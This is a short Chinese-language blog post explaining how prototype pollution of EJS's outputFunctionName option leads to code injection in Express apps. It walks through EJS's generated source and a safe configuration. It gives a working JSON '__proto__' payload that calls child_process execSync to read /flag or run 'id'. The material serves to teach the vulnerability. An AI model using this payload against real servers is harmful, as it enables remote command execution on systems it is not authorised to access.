EJS模板引擎注入漏洞

EJS引擎的大致工作流程是

当res.render(X)执行的时候,express会把.ejs文件全部读取,并且把模板内容(也就是ejs文件)、数据对象(程序员显式传入的变量)用户输入、全局设置全部交给EJS引擎。


然后EJS引擎会执行的一段代码内容是

var src = 'var out = "";\n';
src += '  var __line = 1;\n';
src += '  try {\n';

if (opts.outputFunctionName) {
  src += '    var ' + opts.outputFunctionName + ' = escapeFn;\n';
}
if (opts.destructuredLocals) {
  src += '    var { ' + opts.destructuredLocals.join(', ') + ' } = locals;\n';
}
src += '    with (locals || {}) {\n';
src += '      out += "' + templateContent + '";\n'; 
src += '    }\n';
src += '    return out;\n';
src += '  } catch (err) {\n';
src += '    rethrow(err, __line);\n';
src += '  }\n';

关键部分
if (opts.outputFunctionName) {
  src += '    var ' + opts.outputFunctionName + ' = escapeFn;\n';
}

直接用 + 把opts.outputFunctionName给拼接。

如果程序员的后端代码是这样的,那么就不存在漏洞

const express = require('express');
const app = express();
app.set('view engine', 'ejs');
app.get('/hello', (req, res) => {
    res.render('index', {
        user: 'Tom',
        outputFunctionName: 'Node' 
    });
});
app.listen(3000);

因为outputFunctionName的属性值已经被声明。最终拼接的是一段无害的代码。

EJS模板注入发生在程序员没有给outputFunctionName赋值,因为这对原型链的污染才有效果。


例如注入:

{
  "__proto__": {
    "__proto__": {
      "outputFunctionName": "a; return global.process.mainModule.require('child_process').execSync('cat /flag').toString(); //"
    }
  }
}

那么在EJS引擎工作时,被 + 给拼接后会变成

src += var a; return global.process.mainModule.require('child_process').execSync('id').toString();// = escapeFn;

return global.process.mainModule.require('child_process').execSync('id').toString();直接独立成立一个语句,直接执行


简而言之

在程序员未设置outputFunctionName的情况下,通过原型链污染进行对outputFunctionName的赋值,在EJS引擎调用代码的时候会将outputFunctionName进行拼接,这就是EJS模板引擎注入漏洞

posted @ 2025-12-26 23:33  yeswind野风  阅读(16)  评论(0)    收藏  举报